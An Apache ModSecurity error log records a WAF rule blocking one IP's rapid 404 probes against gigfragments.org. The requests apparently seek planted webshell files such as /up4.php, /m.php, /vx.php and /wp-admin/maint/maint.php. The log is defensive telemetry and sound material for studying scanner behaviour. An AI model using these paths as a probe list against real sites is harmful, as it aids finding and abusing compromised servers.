[Thu Dec 25 22:40:08.650202 2025] [:error] [pid 22131:tid 22157] [client 4.217.192.251:57708] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aU1MyJvVMtSTB4lX2fY-9gAAAFU"]
[Thu Dec 25 22:40:08.936841 2025] [:error] [pid 22131:tid 22153] [client 4.217.192.251:60803] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aU1MyJvVMtSTB4lX2fY--AAAAFI"]
[Thu Dec 25 22:40:09.233822 2025] [:error] [pid 22044:tid 22088] [client 4.217.192.251:64283] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aU1MyXPTC5rQKTB0FQ-qbQAAAM0"]
[Thu Dec 25 22:40:09.522643 2025] [:error] [pid 22044:tid 22098] [client 4.217.192.251:5583] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/user/about.php"] [unique_id "aU1MyXPTC5rQKTB0FQ-qbgAAANc"]
[Thu Dec 25 22:40:09.797387 2025] [:error] [pid 22044:tid 22099] [client 4.217.192.251:61636] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up4.php"] [unique_id "aU1MyXPTC5rQKTB0FQ-qcQAAANg"]
[Thu Dec 25 22:40:10.097668 2025] [:error] [pid 22044:tid 22089] [client 4.217.192.251:52127] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up4.php"] [unique_id "aU1MynPTC5rQKTB0FQ-qcwAAAM4"]
[Thu Dec 25 22:40:10.378112 2025] [:error] [pid 22044:tid 22093] [client 4.217.192.251:5335] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up4.php"] [unique_id "aU1MynPTC5rQKTB0FQ-qdgAAANI"]
[Thu Dec 25 22:40:10.667635 2025] [:error] [pid 22044:tid 22094] [client 4.217.192.251:5345] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/up4.php"] [unique_id "aU1MynPTC5rQKTB0FQ-qdwAAANM"]
[Thu Dec 25 22:40:11.014545 2025] [:error] [pid 22044:tid 22082] [client 4.217.192.251:5568] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aU1My3PTC5rQKTB0FQ-qeQAAAMc"]
[Thu Dec 25 22:40:11.307007 2025] [:error] [pid 27869:tid 27883] [client 4.217.192.251:5332] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aU1MyxNK7_n86kBD7qfoMwAAAIw"]
[Thu Dec 25 22:40:11.586915 2025] [:error] [pid 22043:tid 22055] [client 4.217.192.251:64258] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aU1Myz4YVtlb2Iz_QE5aJAAAAAc"]
[Thu Dec 25 22:40:11.897125 2025] [:error] [pid 22045:tid 22117] [client 4.217.192.251:61671] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aU1My6sGGmXjDnvlmHt3EQAAAU8"]
[Thu Dec 25 22:40:12.180370 2025] [:error] [pid 22044:tid 22079] [client 4.217.192.251:57700] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aU1MzHPTC5rQKTB0FQ-qfQAAAMQ"]
[Thu Dec 25 22:40:12.479966 2025] [:error] [pid 22044:tid 22098] [client 4.217.192.251:52132] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aU1MzHPTC5rQKTB0FQ-qfwAAANc"]
[Thu Dec 25 22:40:12.773569 2025] [:error] [pid 22044:tid 22095] [client 4.217.192.251:57718] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aU1MzHPTC5rQKTB0FQ-qgAAAANQ"]
[Thu Dec 25 22:40:13.053090 2025] [:error] [pid 22044:tid 22085] [client 4.217.192.251:5589] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/vx.php"] [unique_id "aU1MzXPTC5rQKTB0FQ-qggAAAMo"]
[Thu Dec 25 22:40:13.337239 2025] [:error] [pid 22045:tid 22121] [client 4.217.192.251:64262] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fwe.php"] [unique_id "aU1MzasGGmXjDnvlmHt3EwAAAVM"]
[Thu Dec 25 22:40:13.612927 2025] [:error] [pid 22131:tid 22149] [client 4.217.192.251:5551] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fwe.php"] [unique_id "aU1MzZvVMtSTB4lX2fY-_wAAAE4"]
[Thu Dec 25 22:40:13.903045 2025] [:error] [pid 22044:tid 22090] [client 4.217.192.251:61633] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fwe.php"] [unique_id "aU1MzXPTC5rQKTB0FQ-qhQAAAM8"]
[Thu Dec 25 22:40:14.207500 2025] [:error] [pid 22043:tid 22069] [client 4.217.192.251:5511] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fwe.php"] [unique_id "aU1Mzj4YVtlb2Iz_QE5aJgAAABU"]
[Thu Dec 25 22:40:14.490763 2025] [:error] [pid 27869:tid 27882] [client 4.217.192.251:52147] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aU1MzhNK7_n86kBD7qfoNwAAAIs"]
[Thu Dec 25 22:40:14.793608 2025] [:error] [pid 22043:tid 22051] [client 4.217.192.251:61669] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aU1Mzj4YVtlb2Iz_QE5aJwAAAAM"]
[Thu Dec 25 22:40:15.083864 2025] [:error] [pid 22044:tid 22094] [client 4.217.192.251:64280] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aU1Mz3PTC5rQKTB0FQ-qhwAAANM"]
[Thu Dec 25 22:40:15.369629 2025] [:error] [pid 22131:tid 22156] [client 4.217.192.251:5543] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/f35.php"] [unique_id "aU1Mz5vVMtSTB4lX2fY_AgAAAFQ"]
[Thu Dec 25 22:40:15.676121 2025] [:error] [pid 22044:tid 22082] [client 4.217.192.251:64266] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aU1Mz3PTC5rQKTB0FQ-qiQAAAMc"]
[Thu Dec 25 22:40:15.954170 2025] [:error] [pid 27869:tid 27880] [client 4.217.192.251:64273] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aU1MzxNK7_n86kBD7qfoOQAAAIk"]
[Thu Dec 25 22:40:16.221867 2025] [:error] [pid 22045:tid 22108] [client 4.217.192.251:61641] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aU1M0KsGGmXjDnvlmHt3HQAAAUY"]
[Thu Dec 25 22:40:16.512739 2025] [:error] [pid 22044:tid 22079] [client 4.217.192.251:5522] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gifclass.php"] [unique_id "aU1M0HPTC5rQKTB0FQ-qjgAAAMQ"]
[Thu Dec 25 22:40:16.782528 2025] [:error] [pid 22045:tid 22105] [client 4.217.192.251:5358] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aU1M0KsGGmXjDnvlmHt3IQAAAUM"]
[Thu Dec 25 22:40:17.068889 2025] [:error] [pid 22045:tid 22120] [client 4.217.192.251:5599] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aU1M0asGGmXjDnvlmHt3JAAAAVI"]
[Thu Dec 25 22:40:17.370545 2025] [:error] [pid 22044:tid 22075] [client 4.217.192.251:5545] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aU1M0XPTC5rQKTB0FQ-qkgAAAMA"]
[Thu Dec 25 22:40:17.639280 2025] [:error] [pid 22131:tid 22157] [client 4.217.192.251:64315] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wrt.php"] [unique_id "aU1M0ZvVMtSTB4lX2fY_AwAAAFU"]
[Thu Dec 25 22:40:17.922635 2025] [:error] [pid 27869:tid 27892] [client 4.217.192.251:52145] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aU1M0RNK7_n86kBD7qfoQAAAAJU"]
[Thu Dec 25 22:40:18.233159 2025] [:error] [pid 27869:tid 27873] [client 4.217.192.251:61678] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aU1M0hNK7_n86kBD7qfoQQAAAII"]
[Thu Dec 25 22:40:18.522005 2025] [:error] [pid 27869:tid 27883] [client 4.217.192.251:5334] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aU1M0hNK7_n86kBD7qfoRAAAAIw"]
[Thu Dec 25 22:40:18.807899 2025] [:error] [pid 22131:tid 22135] [client 4.217.192.251:5571] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ova.php"] [unique_id "aU1M0pvVMtSTB4lX2fY_BQAAAEI"]
[Thu Dec 25 22:40:19.085170 2025] [:error] [pid 22045:tid 22126] [client 4.217.192.251:52136] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aU1M06sGGmXjDnvlmHt3LwAAAVg"]
[Thu Dec 25 22:40:19.380635 2025] [:error] [pid 22131:tid 22140] [client 4.217.192.251:64294] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aU1M05vVMtSTB4lX2fY_BgAAAEY"]
[Thu Dec 25 22:40:19.727645 2025] [:error] [pid 22131:tid 22160] [client 4.217.192.251:57701] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aU1M05vVMtSTB4lX2fY_CAAAAFg"]
[Thu Dec 25 22:40:19.996743 2025] [:error] [pid 22044:tid 22098] [client 4.217.192.251:64289] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/plugins/Cache/footer.php"] [unique_id "aU1M03PTC5rQKTB0FQ-qoAAAANc"]
[Thu Dec 25 22:40:39.086437 2025] [:error] [pid 22044:tid 22098] [client 4.217.192.251:52131] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aU1M53PTC5rQKTB0FQ-qzwAAANc"]
[Thu Dec 25 22:40:39.438130 2025] [:error] [pid 22131:tid 22135] [client 4.217.192.251:60837] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aU1M55vVMtSTB4lX2fY_IQAAAEI"]
[Thu Dec 25 22:40:39.748236 2025] [:error] [pid 27869:tid 27876] [client 4.217.192.251:61639] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aU1M5xNK7_n86kBD7qfoYgAAAIU"]
[Thu Dec 25 22:40:40.068587 2025] [:error] [pid 27869:tid 27890] [client 4.217.192.251:5608] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-admin/maint/maint.php"] [unique_id "aU1M6BNK7_n86kBD7qfoYwAAAJM"]
[Thu Dec 25 22:40:40.408683 2025] [:error] [pid 22044:tid 22096] [client 4.217.192.251:57716] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aU1M6HPTC5rQKTB0FQ-q0gAAANU"]
[Thu Dec 25 22:40:40.733077 2025] [:error] [pid 22131:tid 22159] [client 4.217.192.251:5587] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aU1M6JvVMtSTB4lX2fY_JAAAAFc"]
[Thu Dec 25 22:40:41.032315 2025] [:error] [pid 27869:tid 27873] [client 4.217.192.251:5533] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aU1M6RNK7_n86kBD7qfoaAAAAII"]
[Thu Dec 25 22:40:41.331076 2025] [:error] [pid 22131:tid 22145] [client 4.217.192.251:52144] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xv.php"] [unique_id "aU1M6ZvVMtSTB4lX2fY_JgAAAEs"]
[Thu Dec 25 22:40:41.653289 2025] [:error] [pid 27869:tid 27874] [client 4.217.192.251:52119] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aU1M6RNK7_n86kBD7qfoagAAAIM"]
[Thu Dec 25 22:40:41.965928 2025] [:error] [pid 27869:tid 27875] [client 4.217.192.251:55476] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aU1M6RNK7_n86kBD7qfobAAAAIQ"]
[Thu Dec 25 22:40:42.259725 2025] [:error] [pid 22045:tid 22126] [client 4.217.192.251:64301] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aU1M6qsGGmXjDnvlmHt3SAAAAVg"]
[Thu Dec 25 22:40:42.575956 2025] [:error] [pid 27869:tid 27886] [client 4.217.192.251:61651] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w.php"] [unique_id "aU1M6hNK7_n86kBD7qfobQAAAI8"]
[Thu Dec 25 22:40:42.888802 2025] [:error] [pid 27869:tid 27887] [client 4.217.192.251:61685] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/m.php"] [unique_id "aU1M6hNK7_n86kBD7qfobwAAAJA"]
[Thu Dec 25 22:40:43.171032 2025] [:error] [pid 22044:tid 22097] [client 4.217.192.251:52141] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/m.php"] [unique_id "aU1M63PTC5rQKTB0FQ-q1QAAANY"]
[Thu Dec 25 22:40:43.478585 2025] [:error] [pid 22043:tid 22050] [client 4.217.192.251:57665] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/m.php"] [unique_id "aU1M6z4YVtlb2Iz_QE5aTQAAAAI"]
[Thu Dec 25 22:40:43.772247 2025] [:error] [pid 22131:tid 22133] [client 4.217.192.251:5607] [client 4.217.192.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/images/m.php"] [unique_id "aU1M65vVMtSTB4lX2fY_KAAAAEA"]
